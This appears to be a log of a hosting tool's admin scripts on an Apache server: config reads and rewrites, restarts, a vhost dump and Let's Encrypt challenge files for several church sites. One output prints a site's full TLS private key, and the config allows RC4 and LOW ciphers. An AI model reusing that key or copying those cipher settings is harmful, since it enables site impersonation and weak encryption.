elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-14 06:00:48: 

chmod 755 /tmp/pkp970445; /tmp/pkp970445; rm /tmp/pkp970445

2025-12-14 06:00:48: 


dir=/etc/ssl/certs


2025-12-14 06:00:48: 

PUT: /tmp/pkp606835

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/bible-basics_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-14 06:00:48: 

chmod 755 /tmp/pkp606835; /tmp/pkp606835; rm /tmp/pkp606835

2025-12-14 06:00:48: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf 45

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-14 06:00:48: 

PUT: /tmp/pkp251007

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bible-basics_www_info.conf
TARGET=/etc/apache2/sites-enabled/bible-basics_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/bible-basics_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf= 1'
fi


2025-12-14 06:00:48: 

chmod 755 /tmp/pkp251007; /tmp/pkp251007; rm /tmp/pkp251007

2025-12-14 06:00:48: 




2025-12-14 06:00:48: 

PUT: /tmp/pkp876285

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-14 06:00:48: 

chmod 755 /tmp/pkp876285; /tmp/pkp876285; rm /tmp/pkp876285

2025-12-14 06:00:48: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-14 06:00:48: Establishing a connection
2025-12-14 06:00:48: 

PUT: /tmp/pkp183125

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-14 06:00:49: 

chmod 755 /tmp/pkp183125; /tmp/pkp183125; rm /tmp/pkp183125

2025-12-14 06:00:49: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-14 06:00:49: 

PUT: /tmp/pkp107049

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/bible-basics_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-14 06:00:49: 

chmod 755 /tmp/pkp107049; /tmp/pkp107049; rm /tmp/pkp107049

2025-12-14 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf	1420

<VirtualHost *:80>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_error.log
    SetEnv pkp_uid	48
    SetEnv pkp_owner	bible-basics
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	bible-basics.info
    ServerAlias	www.bible-basics.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
    DocumentRoot	/var/www/bible-basics_www
    <Directory /var/www/bible-basics_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/bible-basics/www_secure_access.log combined
    ErrorLog	/var/log/apache2/bible-basics/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-14 06:00:49: 

PUT: /tmp/pkp482053

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-14 06:00:49: 

chmod 755 /tmp/pkp482053; /tmp/pkp482053; rm /tmp/pkp482053

2025-12-14 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt	5386
20:4d:20:d9:c2:0f:b5:e5:71:42:e3:78:8a:4d:ad:2b

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBVcXg46sTQLpUShfbTcA1Pz9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjE0MDUwMjE3WhcNMjYwMzE0MDUwMjE2WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK/AHik9Zpkz3w0D1aUgOXKzd9C7JdrkajN5VcIcX2b+qmkl2Ux0/Tk++Bcg
rc1py1Y3R38QspbA9a6MsRiVfbzY9OXgKZsyCn02i78Di9+eiz2haMs82KftPjOn
BuxlFehGvFd8RTaJY7z4mmg9h9jDPhkc/+EAgm+TbBokYJrjg5fw1bKiFz9TGew2
yxXoKafDP/DatN9OGjFUcByv4o1biR+Fb72xkRpIA0hf4YJUiNLgqeydpxnFyYDd
ZkOaFTxdXbEpONIlzBqqYXuQVWUGlQKYZ5plMZacLwBoQZD/mxJgfX4/eCTBmiig
nN+cv9YShpkL/u+Fdx9o8aVjDf8CAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUG3T2MHiM63f0TuuZ6pB3zMBfVoAwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFiaWJsZS1iYXNpY3MuaW5m
b4IVd3d3LmJpYmxlLWJhc2ljcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTI2LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2ABaDLavwqSUPD/A6pUX/yL/II9CHS/YE
KSf45x8zE/X6AAABmxtygN0AAAQDAEcwRQIgcv8kb4ZZx4EQbtT60Q5SZ9i943vs
5y5jUVHbolp6fFICIQDt0K/niaZDC3jCJ0uPggRQIs4IEzVGCGWkF9LYHZqPzgB2
AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmxtygQMAAAQDAEcw
RQIhAL5kI603Jzmng7sbxI72lw5VWfTPiiZ5Rawzru8Yd/7oAiBtyiqYyVMcxKJ4
+O0IXMNOI9cq0g8kUCfWdcFk9qSeWTANBgkqhkiG9w0BAQsFAAOCAQEAXrzWYfSb
XO7axSqJHj99ZOpoQ5NxswYyyxa8PdSyB4nkdNFyg/2mszET3BrpmVMaiEAQO5qB
46DvRr14nqSoRasIxgs/LVgeDecVRMehJxU0c1GUxtaFvrloS8JCK8GmsA4hE4yZ
N6dWwraKdN+OEofjUdPhHadUGLEEB+b6NS1Z3A6s0gvW7PkLwQuv0zwecvMRSE5s
L05tH8fcjy8OdZU5c5TRAL1yZIbAZIJ8f4mlQdKIyS2P9NpNa/cdojrsBA37FxDl
/yH7YmGA3kg58AXXTZdvSmmKGofUVzOgHaRnrVRyM6UZ9SdDPlbBJpR1dvxOIm22
H2Sjv6cv1tH2jA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvwB4pPWaZM98N
A9WlIDlys3fQuyXa5GozeVXCHF9m/qppJdlMdP05PvgXIK3NactWN0d/ELKWwPWu
jLEYlX282PTl4CmbMgp9Nou/A4vfnos9oWjLPNin7T4zpwbsZRXoRrxXfEU2iWO8
+JpoPYfYwz4ZHP/hAIJvk2waJGCa44OX8NWyohc/UxnsNssV6Cmnwz/w2rTfThox
VHAcr+KNW4kfhW+9sZEaSANIX+GCVIjS4KnsnacZxcmA3WZDmhU8XV2xKTjSJcwa
qmF7kFVlBpUCmGeaZTGWnC8AaEGQ/5sSYH1+P3gkwZoooJzfnL/WEoaZC/7vhXcf
aPGlYw3/AgMBAAECggEAc2QLKX6D33C8MRpkan9G2LVWpHhLuXUg+Vzf3ousY74u
+sx76IQjQjPCxcSR+H1OoPO4gIfhCbP1Wr5LBF4aaSR1XnyYNKpdUqq+hBJ7Ar5g
o31XhaEUiuTsYxN2Kz2PbasLu9D+zHjWQFtlXa2QhNRj8C8nHX6tJT7AykU6HFbP
vLsncm5YzoH+L5bYL24gwJz7SpthYEo+kU9jKDohTAVHaweV0N5QpVbFHQC8XYHu
PTFaibcg5poWw327LX/cEUOwrK7Y9bfxW0s4NyD7Hea+NjvQR1bnp9GMLpRFoymp
hRwhfqy12g8lAacCIBLoXiWSR9BELxJqvIwy8lWY8QKBgQDf8ZI8KFeskZrKt6Cb
LRmenXv8L0gxzrotd8vShdOMBoJJCXoSHDShrwpVtJH1NNNxBzWj0luG16VGUljA
VvbvmkMy4CAQZ4TZ88pIfJVaQIJAmuZWiVQgLSLxaB8XIRVijeHVN55c6WDqAaEr
Pghk11nM7swX6CC6UK81inuCiQKBgQDI6IEqSBF8GXpiFGNO/mhRcd9KzYJIKrpg
hB6ZXhI8tINtMXWl6gwL/AHORuuSs8MZEvBzKv8EqQj/eADNxEIKz+62b8bONQrX
Fhamu/hkPCGXbpdC3/DVcuoJZjxxyueIkzdBCq/n0WTMfatxzZ+Px0deCnMLToik
zTVzgaSKRwKBgF0Vg4xf1HmVmDrU8vwtVe3ZVhTv7llNrZOCrQUXvWQBvJvxRX1L
nhDquif/w3+h8pWTwpcStBqrfjZpuhxQyZm0jGQURx+qd81EiXtx1X7LO5jxCfdE
Y+Rv/otLlUi+5q2tfgZrdPb3xuHdxYk84q5P2TLWu5zgTuJC8WEW69nJAoGAYkUX
qM7HfqQXsJG4YZMfA3dnePc8moAL2dnF/c59rSO+hVKD8Tuh2NrTJ0qZP5CeBU22
Px7wzh7AP/U6r2snwpIieSoDXCmlu78aJUQcIysmYyO86QEQk9c5ko9nUWGmDq+z
fyTzFbjeTQfLLEcfnPwkdGM4Ene/bpzRYEYxbVECgYEApjd48AfvaWoybJzWNz+A
WH/4+BsHbL424BtzH6Oy2bTn7dDfj4MBWv+bxtWjAzXMZYW53qgNtTBflGkq+Ehv
pOlQLU6qRi+cL5dYvzInpvlvGcwPGRB8xkEL/5trV2vsjayvxO/DeujsklEhPhhv
q0T43Xu1lHn+iMPQjCeA/tk=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-14 06:00:49: Establishing a connection
2025-12-14 06:00:49: Establishing a connection
2025-12-14 06:00:49: 

PUT: /tmp/pkp726753

#!/bin/bash
if [ -d "/var/www/carelinksaustralia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-14 06:00:49: 

chmod 755 /tmp/pkp726753; /tmp/pkp726753; rm /tmp/pkp726753

2025-12-14 06:00:49: 


1


2025-12-14 06:00:50: Establishing a connection
2025-12-14 06:00:50: 

PUT: /tmp/pkp781804

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cat > 3fx1NCnrrOzePTzkXVdOA4wsV--kPKA6efLw-2LQlEc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3fx1NCnrrOzePTzkXVdOA4wsV--kPKA6efLw-2LQlEc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3fx1NCnrrOzePTzkXVdOA4wsV--kPKA6efLw-2LQlEc
cat > W11MTxDExUaLKsRTZ3p5dCBACqXmylPA-7z_ai_FEjU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
W11MTxDExUaLKsRTZ3p5dCBACqXmylPA-7z_ai_FEjU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 W11MTxDExUaLKsRTZ3p5dCBACqXmylPA-7z_ai_FEjU


2025-12-14 06:00:50: 

chmod 755 /tmp/pkp781804; /tmp/pkp781804; rm /tmp/pkp781804

2025-12-14 06:00:50: 




2025-12-14 06:01:04: Establishing a connection
2025-12-14 06:01:04: 

PUT: /tmp/pkp286874

#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
rm 3fx1NCnrrOzePTzkXVdOA4wsV--kPKA6efLw-2LQlEc
rm W11MTxDExUaLKsRTZ3p5dCBACqXmylPA-7z_ai_FEjU


2025-12-14 06:01:04: 

chmod 755 /tmp/pkp286874; /tmp/pkp286874; rm /tmp/pkp286874

2025-12-14 06:01:04: 




2025-12-14 06:01:04: Establishing a connection
